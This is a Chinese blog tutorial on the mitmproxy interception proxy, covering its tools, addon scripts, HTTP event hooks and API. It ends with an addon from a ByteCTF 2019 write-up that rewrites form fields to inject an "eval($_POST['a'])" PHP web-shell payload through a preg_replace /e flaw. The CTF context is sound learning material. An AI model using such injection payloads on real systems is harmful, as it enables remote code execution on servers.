mitmproxy是什么
mitm
也就是man-in-the-middle
中间人攻击,顾名思义,mitmproxy就是一个可以用作中间人的基于python环境的工具包,可以用于查看流量,抓包改包,重放,可以实现和burpsuite一样的功能,但是我觉得mitmproxy最大的优势是基于python平台可以灵活地开发插件脚本。
mitmproxy安装后包括3个工具:mitmproxy
、mitmdump
、mitmweb
- mitmproxy
mitmproxy是一个控制台工具,允许交互式检查和修改HTTP流量。它与mitmdump的不同之处在于所有流都保存在内存中,这意味着它旨在获取和处理小样本。 - mitmdump
mitmdump是mitmproxy的命令行版本。它提供了类似tcpdump的功能,可让您查看,记录和以编程方式转换HTTP流量。 - mitmweb(处于测试阶段)
mitmweb是mitmproxy基于Web的用户界面,它允许交互式检查和修改HTTP流量。像mitmproxy一样,它与mitmdump的不同之处在于所有流都保存在内存中,这意味着它旨在获取和处理小样本
mitmproxy能做什么
正向代理,反向代理,透明代理,代理链都可以
mitmproxy脚本/命令规范
插件脚本
有两种加载方式,我这里只写官方建议的
from mitmproxy import ctx
class Counter:
def __init__(self):
self.num = 0
def request(self, flow):
self.num = self.num + 1
ctx.log.info("We've seen %d flows" % self.num)
addons = [
Counter()
]
这是官网上一个例子,使用oop的方法,在addons
数组中添加要加载的类,可以在命令行中使用mitmproxy -s addon.py
来加载这个脚本,就可以在控制台的log中看到输出的http请求的数量
命令
在mitmproxy控制台中可以输入:command
来执行命令,包括内置的和用户定义的
from mitmproxy import command
from mitmproxy import ctx
class MyAddon:
def __init__(self):
self.num = 0
@command.command("myaddon.inc")
def inc(self) -> None:
self.num += 1
ctx.log.info("num = %s" % self.num)
addons = [
MyAddon()
]
同样是官网上的例子,mitmproxy -s addon.py
后,输入:myaddon.inc
可以在控制台看到输出
事件
插件通过事件hook到mitmproxy的内部机制中,事件可以在不同层面上分为5类:HTTP
,TCP
,Websocket
,Network
,General
。其中最常用的就是HTTP
事件,包括
def http_connect(self, flow: mitmproxy.http.HTTPFlow):
"""
(Called when) 收到了来自客户端的 HTTP CONNECT 请求。在 flow 上设置非 2xx 响应将返回该响应并断开连接。CONNECT 不是常用的 HTTP 请求方法,目的是与服务器建立代理连接,仅是 client 与 proxy 的之间的交流,所以 CONNECT 请求不会触发 request、response 等其他常规的 HTTP 事件
"""
def requestheaders(self, flow: mitmproxy.http.HTTPFlow):
"""
(Called when) 来自客户端的 HTTP 请求的头部被成功读取。此时 flow 中的 request 的 body 是空的。
"""
def request(self, flow: mitmproxy.http.HTTPFlow):
"""
(Called when) 来自客户端的 HTTP 请求被成功完整读取。
"""
def responseheaders(self, flow: mitmproxy.http.HTTPFlow):
"""
(Called when) 来自服务端的 HTTP 响应的头部被成功读取。此时 flow 中的 response 的 body 是空的。
"""
def response(self, flow: mitmproxy.http.HTTPFlow):
"""
(Called when) 来自服务端端的 HTTP 响应被成功完整读取。
"""
def error(self, flow: mitmproxy.http.HTTPFlow):
"""
(Called when) 发生了一个 HTTP 错误。比如无效的服务端响应、连接断开等。注意与“有效的 HTTP 错误返回”不是一回事,后者是一个正确的服务端响应,只是 HTTP code 表示错误而已。
"""
现在就可以理解之前例子里,在Counter类中的request方法是如何生效的
常用API
参考https://mitmproxy.readthedocs.io/en/v2.0.2/scripting/api.html
mitmproxy.http.HTTPRequest
cookies
返回一个MultiDictView
对象get_content(strict: bool = True) → bytes
使用内容编码标头(例如gzip)解码的HTTP消息正文get_text(strict: bool = True) → typing.Union[str, NoneType]
使用内容编码标头(例如gzip)和内容类型标头字符集解码的HTTP消息正文。headers
返回mitmproxy.net.http.Headers
对象multipart_form
多部分表单数据作为MultiDictView对象。
键和值都是bytes。pretty_url
urlencoded_form
URL编码的表单数据作为MultiDictView对象。replace(pattern, repl, flags=0, count=0)
将header,请求路径和请求体中的repl替换为正则表达式模式。编码后的内容将在替换前进行解码,然后再进行编码。
mitmproxy.http.HTTPResponse
make(status_code: int = 200, content: AnyStr = b'', headers: typing.Union[typing.Dict[AnyStr, AnyStr], typing.Iterable[typing.Tuple[bytes, bytes]]] = ())
用于创建response对象的简化API。status_code
状态码- 大部分和
mitmproxy.http.HTTPRequest
差不多
mitmproxy.http.HTTPFlow
HTTPFlow是代表单个HTTP事务的对象的集合
request
response
mitmproxy.log.Log
中央记录器,在脚本中暴露为mitmproxy.ctx.log
debug
info
warn
error
使用实例
使用mitmproxy解决蚁剑连接问题
刷题记录:[ByteCTF 2019]BabyBlog
from mitmproxy import http
class add_request:
def request(self, flow) -> None:
flow.request.urlencoded_form['find'] = "/ex00"
flow.request.urlencoded_form['replace'] = "eval($_POST['a'])"
flow.request.urlencoded_form['id'] = "1"
flow.request.urlencoded_form['regex'] = "1"
flow.request.cookies['PHPSESSID'] = "8192498e1b72a3004a2093fc26f10d28"
addons = [
add_request()
]
这只是我实际使用mitmproxy的一个最简陋的例子,更多例子可以参考使用 mitmproxy + python 做拦截代理